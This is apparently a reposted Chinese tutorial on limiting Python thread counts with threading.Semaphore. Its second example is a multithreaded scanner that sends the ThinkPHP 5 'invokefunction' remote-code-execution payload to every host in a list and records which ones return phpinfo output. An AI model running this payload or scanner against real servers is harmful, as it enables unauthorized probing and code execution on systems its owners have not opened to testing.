python多線程semaphore實(shí)現(xiàn)線程數(shù)控制的示例
前面寫過一篇關(guān)于python多線程的實(shí)現(xiàn)的文章, 但是效果不是最佳的,寫法也不是很好。通過網(wǎng)上學(xué)習(xí),也了解到了semaphore這個(gè)東西。
百度給的解釋:Semaphore是一種在多線程環(huán)境下使用的設(shè)施,該設(shè)施負(fù)責(zé)協(xié)調(diào)各個(gè)線程,以保證它們能夠正確、合理的使用公共資源的設(shè)施,也是操作系統(tǒng)中用于控制進(jìn)程同步互斥的量。
一個(gè)有趣的例子:假設(shè)停車場只有三個(gè)車位,一開始三個(gè)車位都是空的。這時(shí)如果同時(shí)來了五輛車,看門人允許其中三輛不受阻礙的進(jìn)入,然后放下車攔,剩下的車則必須在入口等待,此后來的車也都不得不在入口處等待。這時(shí),有一輛車離開停車場,看門人得知后,打開車攔,放入一輛,如果又離開兩輛,則又可以放入兩輛,如此往復(fù)。
簡而言之,也就是能夠控制多線程并發(fā)的數(shù)量。
簡單記錄一下如何通過semaphore實(shí)現(xiàn)線程數(shù)的控制。
簡單代碼:
#! -*-coding: utf-8-*-
import threading
import time
class test(threading.Thread): #繼承threading類
def __init__(self, i, sem):
super(test, self).__init__() #繼承python的構(gòu)造方法,這為python2的寫法,python3可直接super().__init__()
self.i = i
self.sem = sem
def run(self):
time.sleep(0.1)
print("the test i is : " + str(self.i))
self.sem.release() #釋放線程數(shù),線程數(shù)加1
if __name__ == '__main__':
sem = threading.Semaphore(5) #設(shè)置可同時(shí)執(zhí)行的最大線程數(shù)
for i in range(50):
sem.acquire() #獲得線程,可用線程數(shù)減1
t = test(i, sem) #給執(zhí)行函數(shù)傳遞值
t.start() #執(zhí)行函數(shù)
sem = threading.Semaphore(5) #設(shè)置可同時(shí)開啟的線程數(shù),這里為5個(gè)
每執(zhí)行一次函數(shù)的時(shí)候就獲得一個(gè)線程數(shù),sem.acquire();每次執(zhí)行完函數(shù),就會(huì)釋放一個(gè)線程數(shù),sem.release()。只要acquire()的線程數(shù)達(dá)到了最大數(shù)(這里為5),后面的線程就只能先等待前面獲得的線程執(zhí)行完函數(shù)過后釋放,后面的線程才能繼續(xù)執(zhí)行。
整個(gè)流程理解起來其實(shí)也很簡單。
之前寫過一次開10個(gè)線程的多線程腳本,但是方法不夠好,這次用這個(gè)方法改了一下,貼在這里(掃描tp5是否存在代碼執(zhí)行漏洞的掃描腳本):
# -*- coding:UTF-8 -*-
import requests
import threading
import time
import sys
class check(threading.Thread): #判斷是否存在這個(gè)漏洞的執(zhí)行函數(shù)
def __init__(self, url, sem):
super(check, self).__init__() #繼承threading類的構(gòu)造方法,python3的寫法super().__init__()
self.url = url
self.sem = sem
def run(self):
time.sleep(0.2)
parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
try:
responce = requests.get(url = self.url, params = parameters)
body = responce.text
if body.find('PHP Extension') != -1:
with open("success.txt", "a+") as f1:
f1.write("存在tp5遠(yuǎn)程代碼執(zhí)行漏洞: " + self.url + "\n")
print("[+] " + self.url)
else:
print("[-] " + self.url)
except Exception,err:
print("connect failed")
pass
self.sem.release() #執(zhí)行完函數(shù),釋放線程,線程數(shù)加1
class host(threading.Thread): #遍歷文件操作
def __init__(self, sem):
super(host, self).__init__() #繼承threading類的構(gòu)造方法,python3的寫法super().__init__()
self.sem = sem
def run(self):
with open(sys.argv[1], "r") as f:
for host in f.readlines():
self.sem.acquire() #遍歷一個(gè)就獲得一個(gè)線程,直到達(dá)到最大
host = "http://" + host.strip()
host_thread = check(host, self.sem)
host_thread.start() #執(zhí)行check()的執(zhí)行函數(shù)
if __name__ == '__main__':
sem = threading.Semaphore(10) #最大線程數(shù)為10個(gè)
thread = host(sem) #傳遞sem值
thread.start()
到此這篇關(guān)于python多線程semaphore實(shí)現(xiàn)線程數(shù)控制的示例的文章就介紹到這了,更多相關(guān)python 線程數(shù)控制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Django生成數(shù)據(jù)庫及添加用戶報(bào)錯(cuò)解決方案
這篇文章主要介紹了Django生成數(shù)據(jù)庫及添加用戶報(bào)錯(cuò)解決方案,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-10-10
一篇文章帶你了解Python的進(jìn)程,線程和協(xié)程
這篇文章主要為大家介紹了Python的進(jìn)程,線程和協(xié)程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助2022-01-01
Python腳本實(shí)現(xiàn)網(wǎng)卡流量監(jiān)控
這篇文章主要介紹了Python腳本實(shí)現(xiàn)網(wǎng)卡流量監(jiān)控,本文直接給出實(shí)現(xiàn)代碼,需要的朋友可以參考下2015-02-02
Python編程之字符串模板(Template)用法實(shí)例分析
這篇文章主要介紹了Python編程之字符串模板(Template)用法,結(jié)合具體實(shí)例形式分析了Python字符串模板的功能、定義與使用方法,需要的朋友可以參考下2017-07-07
python中enumerate() 與zip()函數(shù)的使用比較實(shí)例分析
這篇文章主要介紹了python中enumerate()與zip()函數(shù)的使用比較,結(jié)合實(shí)例形式分析了enumerate()與zip()函數(shù)的功能、用法及操作注意事項(xiàng),需要的朋友可以參考下2019-09-09
python高階函數(shù)functools模塊的具體使用
本文主要介紹了python高階函數(shù)functools模塊的具體使用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-03-03
Tensorflow Summary用法學(xué)習(xí)筆記
這篇文章主要介紹了Tensorflow Summary用法學(xué)習(xí)筆記,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-01-01
Python openpyxl 遍歷所有sheet 查找特定字符串的方法
今天小編就為大家分享一篇Python openpyxl 遍歷所有sheet 查找特定字符串的方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-12-12

